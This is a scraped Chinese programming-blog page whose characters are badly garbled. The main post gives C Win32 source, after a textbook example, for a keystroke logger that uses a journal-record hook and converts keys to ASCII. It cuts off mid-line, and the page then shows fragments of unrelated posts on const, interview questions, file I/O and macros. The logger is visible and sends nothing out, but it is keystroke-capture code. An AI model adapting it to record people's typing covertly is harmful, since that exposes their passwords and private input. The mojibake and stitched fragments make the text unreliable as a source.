C¼üÅ̹³×Ó
¸ù¾Ý¡¶Windows»·¾³ÏÂ32λ»ã±àÓïÑÔ³ÌÐòÉè¼Æ¡·£¨ÂÞÔÆ±òÖø£©ÊéÉϵÄÀý×Ó£¬²ÉÓÃSDKʵÏÖ¼üÅ̼ǼÆ÷!
main.c
#include <windows.h>
#include "resource.h"
#define DEBUG 0
LRESULT CALLBACK HookKeyboardPro(int code,WPARAM wParam,LPARAM lParam);
BOOL CALLBACK ProcDlgMain(HWND hwndDlg,UINT uMsg,WPARAM wParam,LPARAM lParam);
static HWND hWinMain=NULL;
static HHOOK hHook=NULL;
static WORD szAscii=0;
int WINAPI WinMain(__in HINSTANCE hInstance, __in_opt HINSTANCE hPrevInstance, __in_opt LPSTR lpCmdLine, __in int nShowCmd )
{
DialogBox(hInstance,MAKEINTRESOURCE(DLG_MAIN),NULL,(DLGPROC)ProcDlgMain);
return 0;
}
BOOL CALLBACK ProcDlgMain(HWND hwndDlg,UINT uMsg,WPARAM wParam,LPARAM lParam)
{
#if DEBUG
TCHAR buf[10];
#endif
switch (uMsg)
{
case WM_INITDIALOG:
hWinMain=hwndDlg;
SendMessage(hwndDlg,WM_SETICON,
ICON_BIG,(LPARAM)LoadIcon(GetModuleHandle(0),MAKEINTRESOURCE(IDI_MAIN)));
//×°ÔØ¹³×Ó
hHook=SetWindowsHookEx(WH_JOURNALRECORD,(HOOKPROC)HookKeyboardPro,GetModuleHandle(0),NULL);
if(!hHook)
{
EndDialog(hwndDlg,NULL);
}
break;
case WM_CLOSE:
//ÒÆ³ý¹³×Ó
UnhookWindowsHookEx(hHook);
EndDialog(hwndDlg,NULL);
break;
default:
return FALSE;
}
return TRUE;
}
/************************************************************************/
/* ¹³×Ó´¦Àí¹ý³Ì */
/************************************************************************/
LRESULT CALLBACK HookKeyboardPro(int code,WPARAM wParam,LPARAM lParam)
{
BYTE szKeyState[256];
int size;
PEVENTMSG eventMsg;
#if DEBUG
TCHAR buf[10];
#endif
if(HC_ACTION==code)
{
eventMsg=(PEVENTMSG)lParam;
if(WM_KEYDOWN==eventMsg->message)
{
GetKeyboardState(szKeyState);//µ±Ç°¼üÅÌ״̬ÌîÈ뻺³åÇø
szKeyState[VK_SHIFT]=0XFF&GetKeyState(VK_SHIFT);//»ñÈ¡µÍλ,ÌØÊâÌîдSHIFT¼üɨÃèÂë
//½«ÐéÄâ¼üÅÌÂëת»»ASCIIÂë
size=ToAscii(eventMsg->paramL,HIWORD(eventMsg->paramH),szKeyState,&a
Ïà¹ØÎĵµ£º
ÎÒ²»»á˵ΪʲôÔÚc++ÖÐÓÃconst±ÈdefineºÃ£¬ÒòΪÎÒ×Ô¼º¶¼Ã»ÓжàºÃµØÁìÎòµ½£¬·´¶ø»¹¾õµÃdefineÄܹ»Íê³É¸üÇ¿´óµÄ¹¦ÄÜ£¬Ö»ÒªÊ¹Óõõ±¡£
ÔÚÕâÀïҪ˵µÄÖ»ÊÇÒ»¸öС¼¼ÇÉ£¬¸ø×Ô¼º±¸ÍüÓõġ£
constÔÚCºÍC++ÖÐ×î´óµÄ²»Í¬ÊÇ£¬ÔÚCÖУ¬constĬÈϾßÓÐÍⲿÁ´½Ó£¬¶øC++ÖÐÔòÊÇÄÚ²¿Á´½Ó£¬ÄÇôÓÃÆðÀ´ÓÐʲô²»Í¬ÄØ£¿
¼ÙÈçÎÒ¶¨ÒåÁË
const int ......
C/C++³ÌÐòԱӦƸ³£¼ûÃæÊÔÌâÉîÈëÆÊÎö(2)
×÷ÕߣºËᦻª e-mail:21cnbao@21cn.com ³ö´¦£ºÈí¼þ±¨
3.ÄÚ¹¦Ìâ
ÊÔÌâ1£º·Ö±ð¸ø³öBOOL£¬int£¬float£¬Ö¸Õë±äÁ¿ Óë“ÁãÖµ”±È½ÏµÄ if Óï¾ä£¨¼ÙÉè±äÁ¿ÃûΪvar£©
½â´ð£º
BOOL ÐͱäÁ¿£ºif(!var)
int ÐͱäÁ¿£º if(var==0)
float ÐͱäÁ¿£º
const float EPSINON = 0.00 ......
1. Ê×ÏÈÒªÀí½â¼¸¸ö¸ÅÄ
Îļþ£º °´Ò»¶¨¹æÔò´æ´¢ÔÚ´ÅÅÌÉϵÄÊý¾Ý¼¯ºÏ¡£
ÎļþÃû£º ÄÜΨһ±êʶij¸ö´ÅÅÌÎļþµÄ×Ö·û´®¡£ÐÎʽ£º ÅÌ·û£º\ ·¾¶ \ ÎļþÃû.À©Õ¹Ãû
Îı¾Îļþ:£º Êý¾ÝÒÔÆäÊý×Ö×Ö·ûµÄASCIIÂëÐÎʽ¡¢Ò»¸ö×Ö½ÚÒ»¸ö×ֽڵش洢ÔÚ´ÅÅÌÉÏ¡£
¶þ½øÖÆÎļþ£ºÊý¾ÝÒÔ¶þ½øÖÆÐÎʽÔÚ´æ´¢ÔÚ´ÅÅÌÉÏ¡£
£¨Îı¾ÎļþºÍ¶ ......
#include <stdio.h>
#define SIZE 50
int main()
{
FILE *fps=NULL;
fps=fopen("tests.txt","r");
FILE *fpd=NULL;
fpd=fopen("testd.txt","wt+");
fseek(fpd,0,SEEK_END);
char buffer[SIZE];
while (fps || fpd)
{
int t=fread(buffer,sizeof(char),SIZE,fps);
if (t==0)
{
bre ......
C±ê×¼ÖÐÖ¸¶¨ÁËһЩԤ¶¨ÒåµÄºê£¬¶ÔÓÚ±à³Ì¾³£»áÓõ½¡£ÏÂÃæÕâ¸ö±íÖоÍÊÇһЩ³£³£Óõ½µÄÔ¤¶¨Òåºê¡£
__DATE__
½øÐÐÔ¤´¦ÀíµÄÈÕÆÚ£¨“Mmm dd yyyy”ÐÎʽµÄ×Ö·û´®ÎÄ×Ö£©
__FILE__
´ú±íµ±Ç°Ô´´úÂëÎļþÃûµÄ×Ö·û´®ÎÄ×Ö
__LINE__
´ú±íµ±Ç°Ô´´úÂëÖеÄÐкŵÄÕûÊý³£Á¿
__TIME__
Ô´Îļþ±àÒëʱ¼ä£¬¸ñʽ΢“hh£ ......